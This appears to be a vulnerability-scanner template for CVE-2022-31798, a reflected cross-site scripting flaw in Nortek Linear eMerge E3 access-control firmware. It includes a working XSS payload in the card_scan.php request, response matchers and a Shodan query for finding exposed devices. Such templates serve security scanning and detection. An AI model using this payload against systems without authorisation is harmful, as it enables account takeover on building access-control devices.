id: CVE-2022-31798

info:
  name: Nortek Linear eMerge E3-Series - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    There is a local session fixation vulnerability that, when chained with cross-site scripting, leads to account take over of admin or a lower privileged user.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the XSS vulnerability in the Nortek Linear eMerge E3-Series.
  reference:
    - https://packetstormsecurity.com/files/167992/
    - http://packetstormsecurity.com/files/167992/Nortek-Linear-eMerge-E3-Series-Account-Takeover.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31798
    - https://eg.linkedin.com/in/omar-1-hashem
    - https://gist.github.com/omarhashem123/bccdcec70ab7e8f00519d56ea2e3fd79
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-31798
    cwe-id: CWE-384
    epss-score: 0.00148
    epss-percentile: 0.50097
    cpe: cpe:2.3:o:nortekcontrol:emerge_e3_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nortekcontrol
    product: emerge_e3_firmware
    shodan-query: http.title:"eMerge"
  tags: cve2022,emerge,nortek,xss,packetstorm,cve

http:
  - method: GET
    path:
      - '{{BaseURL}}/card_scan.php?No=0000&ReaderNo=0000&CardFormatNo=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - ',"CardFormatNo":"<img src=x onerror=alert(document.domain)>"}'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200